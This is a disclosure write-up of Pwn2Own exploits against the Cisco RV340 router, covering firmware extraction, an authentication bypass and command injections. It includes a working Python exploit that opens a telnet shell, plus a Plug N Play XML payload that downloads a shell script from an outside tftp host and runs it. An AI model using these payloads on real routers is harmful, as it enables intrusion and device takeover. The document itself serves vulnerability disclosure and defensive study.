At the 2021 Pwn2Own Austin, our offensive research team, Team Orca, successfully exploited the Cisco RV340 router. In this article, we will go into the details of the vulnerabilities we identified.

Target information

Cisco RV340 Dual WAN Router, 32-bit ARM EABI5 v1, firmware version 1.0.03.22.

Version 1.0.03.24 was released right before the competition, but it did not affect our entries.

Firmware extraction

Use binwalk on the firmware file, we got the following information:

$ binwalk RV34X-v1.0.03.22-2021-06-14-02-33-28-AM.img 

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             uImage header, header size: 64 bytes, header CRC: 0xA2BA8A, created: 2021-06-13 21:03:33, image size: 74777418 bytes, Data Address: 0x0, Entry Point: 0x0, data CRC: 0xFFE70AEC, OS: Linux, CPU: ARM, image type: Firmware Image, compression type: gzip, image name: "RV340 Firmware Package"
64            0x40            gzip compressed data, from Unix, last modified: 2021-06-13 21:03:31
13154529      0xC8B8E1        Encrypted Hilink uImage firmware header
36838414      0x2321C0E       MySQL ISAM index file Version 9

Use dd to strip the uImage header and get the firmware package:

$ dd bs=64 skip=1 if=RV34X-v1.0.03.22-2021-06-14-02-33-28-AM.img of=rv340.tar.gz

Extract the firmware package:

$ tar -xvzf rv340.tar.gz 
md5sum_fw-rv340
fw.gz
preupgrade.gz
preupgrade_md5sum

Extract the fw.gz file:

$ tar -xvzf fw.gz 
barebox-c2krv340.bin
firmware_time
firmware_version
img_version
md5sums_fw
openwrt-comcerto2000-hgw-rootfs-ubi_nand.img
openwrt-comcerto2000-hgw-uImage.img
preupgrade.gz
preupgrade_md5sum

Extract the root filesystem using ubi_reader:

$ ubireader_extract_files openwrt-comcerto2000-hgw-rootfs-ubi_nand.img
Extracting files to: ubifs-root/1161918421/rootfs

LAN exploitation chain

Like almost every router, RV340 ships with a web admin interface. It’s backed by nginx and uWSGI server. In order to use any of the endpoints, it is required to have a valid user session. However, the authentication mechanism can be easily broken. After bypassing authentication, we identified a command injection bug and abused it to achieve code execution.

NGINX sessionid Directory Traversal Authentication Bypass

ZDI ID: ZDI-22-409, ZDI-CAN-15610

CVE ID: CVE-2022-20705, CVE-2022-20707

CVSS Score: 8.8 (AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)

In file /etc/nginx/conf.d/web.upload.conf, configuration for /upload endpoint:

location /upload {
    set $deny 1;
    
    if (-f /tmp/websession/token/$cookie_sessionid) {
        set $deny "0";
    }

    if ($deny = "1") {
        return 403;
    }

It checks if the supplied sessionid cookie is valid by checking for an existing file inside /tmp/websession/token directory. However, if we specify a path to an existing file as sessionid, for example ../../../etc/passwd, the check will pass.

upload.cgi sessionid Improper Input Validation Authentication Bypass

ZDI ID: ZDI-22-410, ZDI-CAN-15882

CVE ID: CVE-2022-20705

CVSS Score: 8.8 (AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)

All CGI binaries for the web interface are located in /www/cgi-bin directory. The upload.cgi binary will handle all requests to /upload endpoint. Analyzing this binary, we identified a check on sessionid:

// v6 is sessionid
v6 && strlen(v6) - 16 <= 64 && !match_regex("^[A-Za-z0-9+=/]*$", v6)

Looks like if we use the path traversal above, this check will fail. But let’s look at how the sessionid is extracted from HTTP_COOKIE environment variable:

v6 = getenv("HTTP_COOKIE");
if ( v6 )
{
  StrBufSetStr(v46, v6); // copy HTTP_COOKIE into v46
  v6 = 0; // set v6 to NULL
  v21 = (char *)StrBufToStr(v46); // v21 = string buffer of v46
  // look for `;` character from end to start of HTTP_COOKIE (a way of exploding cookies)
  for ( i = strtok_r(v21, ";", &save_ptr); i; i = strtok_r(0, ";", &save_ptr) )
  {
    // if found `sessionid=` substring at this position then set v6 to the cookie value
    v23 = strstr(i, "sessionid=");
    if ( v23 )
      v6 = v23 + 10;
  }
}

It will always use the leftmost cookie with sessionid= substring. We can trick this function to use a valid cookie while nginx would still use our path traversal cookie like this:

Cookie: sessionid =../../../etc/passwd; sessionid=aaaaaaaaaaaaaaaa

nginx will trim the space between sessionid and = then use it as $cookie_sessionid, while upload.cgi will only detect the second sessionid since the first cookie does not have sessionid= substring.

upload.cgi JSON Command Injection

ZDI ID: ZDI-22-411, ZDI-CAN-15883

CVE ID: CVE-2022-20707

CVSS Score: 4.3 (AV:A/AC:L/PR:H/UI:N/S:U/C:L/I:L/A:L)

After authentication checking, upload.cgi will use CURL to send a POST request to an internal service.

Below are the POST parameters that would be used:

  • file.path: path to a temporary file (for uploading). Must exist and writable by www-data (for mv command). Usually just put /tmp/upload.input (which is the temporary file)
  • filename: original filename
  • fileparam: the final filename on the router. Cannot be longer than 128 characters. Has a regex filter: ^[a-zA-Z0-9_.-]*$
  • pathparam: path where the file will be stored. Note that this is not a real path, but a string indicates which kind of directory this file will go to:
  // (a1 is pathparam and v8 is the path string)
  if ( !strcmp(a1, "Firmware") )
  {
    v8 = "/tmp/firmware";
  }
  else if ( !strcmp(a1, "Configuration") )
  {
    v8 = "/tmp/configuration";
  }
  else if ( !strcmp(a1, "Certificate") )
  {
    v8 = "/tmp/in_certs";
  }
  else if ( !strcmp(a1, "Signature") )
  {
    v8 = "/tmp/signature";
  }
  else if ( !strcmp(a1, "3g-4g-driver") )
  {
    v8 = (const char *)&unk_12A21;
  }
  else if ( !strcmp(a1, "Language-pack") )
  {
    v8 = "/tmp/language-pack";
  }
  else if ( !strcmp(a1, "User") )
  {
    v8 = "/tmp/user";
  }
  else
  {
    if ( strcmp(a1, "Portal") )
      return -1;
    v8 = "/tmp/www";
  }

Based on pathparam, other params would also be used. For example, Configuration requires destination parameter:

int __fastcall main(int a1, char **a2, char **a3)
{
  // ...

  // dword_2324C is the JSON object constructed from the POST parameters
  jsonutil_get_string(dword_2324C, &v35, "\"file.path\"", -1);
  jsonutil_get_string(dword_2324C, &haystack, "\"filename\"", -1);
  jsonutil_get_string(dword_2324C, &v36, "\"pathparam\"", -1);
  jsonutil_get_string(dword_2324C, &v37, "\"fileparam\"", -1);
  jsonutil_get_string(dword_2324C, &v38, "\"destination\"", -1);
  jsonutil_get_string(dword_2324C, &v39, "\"option\"", -1);
  jsonutil_get_string(dword_2324C, &v40, "\"cert_name\"", -1);
  jsonutil_get_string(dword_2324C, &v41, "\"cert_type\"", -1);
  jsonutil_get_string(dword_2324C, &v42, "\"password\"", -1);
  
  // ...

  else if ( !strcmp(v5, "/upload") && v6 && strlen(v6) - 16 <= 0x40 && !match_regex("^[A-Za-z0-9+=/]*$", v6) )
  {
    v28 = v38;
    v29 = v39;
    v30 = v36;
    v31 = StrBufToStr(v45);
    sub_12684(v6, v28, v29, v30, v31, v40, v41, v42);
  }

  // ...
}
int __fastcall sub_12684(const char *a1, int a2, int a3, const char *a4, int a5, int a6, int a7, int a8)
{
  // ...

  if ( !strcmp(a4, "Configuration") )
  {
    v14 = sub_11AB0(a2, a5);
  }

  // ...

  v17 = (const char *)json_object_to_json_string(v14);
  sprintf(s, "curl %s --cookie 'sessionid=%s' -X POST -H 'Content-Type: application/json' -d '%s'", v13, a1, v17);
  debug(&unk_12E77, s);
  v18 = popen(s, "r");

  // ...
}
int __fastcall sub_11AB0(int a1, int a2)
{
  // ...

  v22 = json_object_new_string(a1);
  json_object_object_add(v14, "config-type", v22);
  
  // ...
}

We can see that the destination parameter is added to the final JSON object without any safety checks. The final JSON object is passed into the curl command, again without any sanitization. So we can inject commands using destination parameter. The command will be executed by www-data user.

Exploit code

The exploit code will spawn a telnet shell on port 4242. Tested on firmware version 1.0.03.22 and 1.0.03.24.

#!/usr/bin/env python3

import sys
import requests

requests.post('https://{:s}/jsonrpc'.format(sys.argv[1]),
  data=b'{"jsonrpc": "2.0", "method": "login", "params": {"user": "bienpnn", "pass": "bienpnn"}}', verify=False)

url = 'https://{:s}/upload'.format(sys.argv[1])

payload = {
  'file.path': '/tmp/upload.input',
  'filename': 'bienpnn',
  'pathparam': 'Configuration',
  'fileparam': 'bienpnn',
  'destination': '\'; telnetd -l /bin/sh -p 4242 #'
}

files = [
  ('input', ('bienpnn', 'bienpnn', 'application/octet-stream'))
]

headers = {
  'Cookie': 'sessionid =../../../etc/passwd; sessionid=aaaaaaaaaaaaaaaa'
}

requests.post(url, headers=headers, data=payload, files=files, verify=False)
print('telnetd shell spawned at {:s}:4242'.format(sys.argv[1]))

WAN exploitation chains

By capturing packets on the WAN port of the router, we saw some interesting DNS queries to pnpserver.<dns suffix provided by DHCP>. Searching for pnpserver, we found an article on Cisco DevNet: Open Plug N Play Protocol. Reading the article, we understood that the router would attempt to find a Plug N Play server by either DHCP option 43 or query the DNS server for pnpserver.<dns suffix provided by DHCP>. By setting up a DHCP server and a DNS server on the WAN side, we can direct the router to use our own Plug N Play server.

Plug N Play Protocol specification

After discovering the PNP server, the PNP client will send an HTTP GET request to /pnp/HELLO endpoint. The server should reply with response code 200 OK. Then the client will send an HTTP POST request to /pnp/WORK-REQUEST endpoint. The server can reply with a work command or tell the client to stop requesting works.

One of the work type that caught our eyes is Image Install. It is used to push new firmware to the router. Below is an example of Image Install work info:

<?xml version="1.0" encoding="UTF-8"?>
<pnp xmlns="urn:cisco:pnp" version="1.0" udi="PID:RV340-K9,VID:V05,SN:PSZ25111FHV">
	<request xmlns="urn:cisco:pnp:image_install" correlator="Cisco-PnP-POSIX-smb-1.8.0.dev13-1-4a3ac3ec-bcd1-49cf-9bb5-80e8a0cf3b45-1">
 		<image>
			<copy>
				<source>
					<location>>http://13.37.13.37/fw.img</location>
				</source>
			</copy>
		</image>
	</request>
</pnp>

Image Install handler implementation

Plug N Play client implementation on RV340 router is located at /usr/lib/python2.7/site-packages/pnp and /usr/lib/python2.7/site-packages/pnp_platform. The Image Install work handler is implemented in /usr/lib/python2.7/site-packages/pnp_platform/services/image_install.py:

class ImageInstall(PnPService):
    """Services Install service
    """
    pid = load_platform_info().get('pid', '')
    src = ''
    checksum = ''

    reload_delay_in = ''
    reload_save_config = ''
    reload_reason = ''
    reload_user = ''

    local_image_name = ''

    def run(self):
        assert self.pid
        try:
            source = self.request['image']['copy']['source']
            self.src = source.get('location') or source.get('uri')
            source = self.request['image']['copy']['source']
            self.checksum = source.get('checksum')
            #We ignore dst, since we store image at ram disk /tmp.
            #We download image, apply it and reboot.
            #After reboot, image file is lost.
            #self.dst = self.request['image']['copy']['destination']
            #.get('location', '/tmp')

            self.reload_reason = self.request['reload']['reason']
            self.reload_delay_in = self.request['reload'].get('delay_in', '20')
            self.reload_user = self.request['reload']['user']
            self.reload_save_config = self.request['reload'].get('save_config', True)

            self.logger.info("source location: %s", self.src)
            #self.logger.info("destination location: %s", self.dst)
            self.logger.info("checksum: %s", self.checksum)
        except KeyError as err:
            self.logger.error('image-install error accessing ' + str(err))
            self.success = 0
            self.set_error_info(code='INTERNAL', msg="Failed to parse request")
        try:
            cmd = save_config_cmd()
            retcode = subprocess.call(cmd, shell=True)
            if retcode != 0:
                self.logger.error("unable to save config")
                self.success = 0
                self.set_error_info(severity='ERROR',
                                    code='STARTUP_CFG_COPY_FAILED',
                                    msg="Error save config")
                return
            (cmd, local_image_name) = download_cmd(self.src)
            self.local_image_name = local_image_name
            #self.logger.info("Will download " + cmd)
            retcode = subprocess.call(cmd, shell=True)
            if retcode != 0:
                self.logger.error("unable to download image")
                self.success = 0
                self.set_error_info(severity='ERROR',
                                    code='NO_SPACE_ON_DEST_FS',
                                    msg="Error download image")
                return
            checksum = hashlib.md5(open(self.local_image_name,
                                        'rb').read()).hexdigest()
            self.logger.info("md5 is "+ checksum)
            #APIC EM does not send md5. Not sure if it is mandatory
            if self.checksum and checksum != self.checksum:
                self.logger.info("checksum does not match")
                self.success = 0
                self.set_error_info(severity='ERROR', code='INTERNAL',
                                    msg="Checksum mismatch!")
                return
            cmd = self._fw_upgrade_cmd()
            assert cmd
            self.logger.info("Will upgrade image. cmd: " + cmd)
            proc = subprocess.Popen(cmd, shell=True,
                                    stdout=subprocess.PIPE,
                                    stderr=subprocess.STDOUT,
                                    stdin=subprocess.PIPE)
            out, _ = proc.communicate()
            retcode = proc.poll()
            self.logger.debug("stdout is: " + out)
            self.logger.debug("retcode is: " + str(retcode))
            if retcode or re.search('error', out, flags=re.IGNORECASE):
                self.logger.error("unable to apply image")
                self.success = 0
                self.set_error_info(severity='ERROR',
                                    code='IMG_SIGNATURE_NOT_VALID',
                                    msg="Error apply image")
                return
            self.logger.info("Will reboot system in " +  self.reload_delay_in)
            action_args = [self.pid, self.reload_delay_in]
            self.action = ServiceAction(reboot_action_2, 'reboot_2', *action_args)
            self.success = 1
            return
        except Exception as err: #pylint:disable=broad-except
            self.logger.exception("Image Install failed")
            self.success = 0
            self.set_error_info(severity='ERROR', code='INTERNAL',
                                msg=str(err))
            return

    def _bb2_fw_upgrade(self):
        return 'rv340_fw_unpack.sh ' + self.local_image_name

    def _pp_fw_upgrade(self):
        return 'rv16x_26x_fw_unpack.sh ' + self.local_image_name

    def _fw_upgrade_cmd(self):
        if is_started_with_pattern("RV26", self.pid):
            return self._pp_fw_upgrade()
        elif is_started_with_pattern("RV16", self.pid):
            return self._pp_fw_upgrade()
        elif is_started_with_pattern("RV34", self.pid):
            return self._bb2_fw_upgrade()
        else:
            self.logger.error('Cannot find pid: ' + self.pid)

Firmware Update Missing Integrity Check

ZDI ID: ZDI-22-408, ZDI-CAN-15611

CVE ID: CVE-2022-20703

CVSS Score: 8.8 (AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)

Our router is RV340, so after the firmware is downloaded, rv340_fw_unpack.sh will be called. The script is located at /usr/bin/rv340_fw_unpack.sh. Analyzing the script, we found out that besides MD5 checks (which is included inside the firmware image), there are no verification checks on whether the downloaded image is from trusted sources or not. Also before executing the upgrade, it will execute preupgrade.sh embedded in TAR archive preupgrade.gz (refer to firmware extraction section for firmware image structure). So we can prepare a fake firmware package with malicious preupgrade script, push it to the PNP client when it requests a job, and we will achieve code execution as root.

Plug and Play Command Injection Remote Code Execution

ZDI ID: ZDI-22-418, ZDI-CAN-15774

CVE ID: CVE-2022-20706

CVSS Score: 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)

The Image Install handler will call download_cmd, which is located in /usr/lib/python2.7/site-packages/pnp_platform/utils/utilities.py:

def download_cmd(src):
    """download cmd"""
    cmd_map = {
        'tftp':tftp_download,
        'http':http_download,
    }
    src_list = re.split(r'\/*', src)
    protocol = src_list[0]
    try:
        cmd_map[protocol]
    except KeyError:
        logger.info('use http as download protocol')
        protocol = 'http'
    return cmd_map[protocol](src)

If we specify tftp as the source, tftp_download will be called:

def tftp_download(src):
    """tftp download"""
    src_list = re.split(r'\/*', src)
    ip_addr = src_list[1]
    base_name = src_list[-1]
    full_name = os.path.join('/tmp', base_name)
    logger.info("full_name " + full_name)
    return ('cd /tmp; tftp -g -r ' + base_name + ' ' + ip_addr, full_name)

No checks for command injection is conducted here or in the Image Install handler, so we can modify the source to achieve command execution. Example Image Install job that demonstrates command injection using <location> parameter, which is used in conjunction with a tftp server to deliver the shell script:

<?xml version="1.0" encoding="UTF-8"?>
<pnp xmlns="urn:cisco:pnp" version="1.0" udi="PID:RV340-K9,VID:V05,SN:PSZ25111FHV">
	<request xmlns="urn:cisco:pnp:image_install" correlator="Cisco-PnP-POSIX-smb-1.8.0.dev13-1-4a3ac3ec-bcd1-49cf-9bb5-80e8a0cf3b45-1">
 		<image>
			<copy>
				<source>
					<location>tftp/192.168.30.1;chmod +x shell.sh;PATH=.:$PATH shell.sh/shell.sh</location>
				</source>
			</copy>
		</image>
	</request>
</pnp>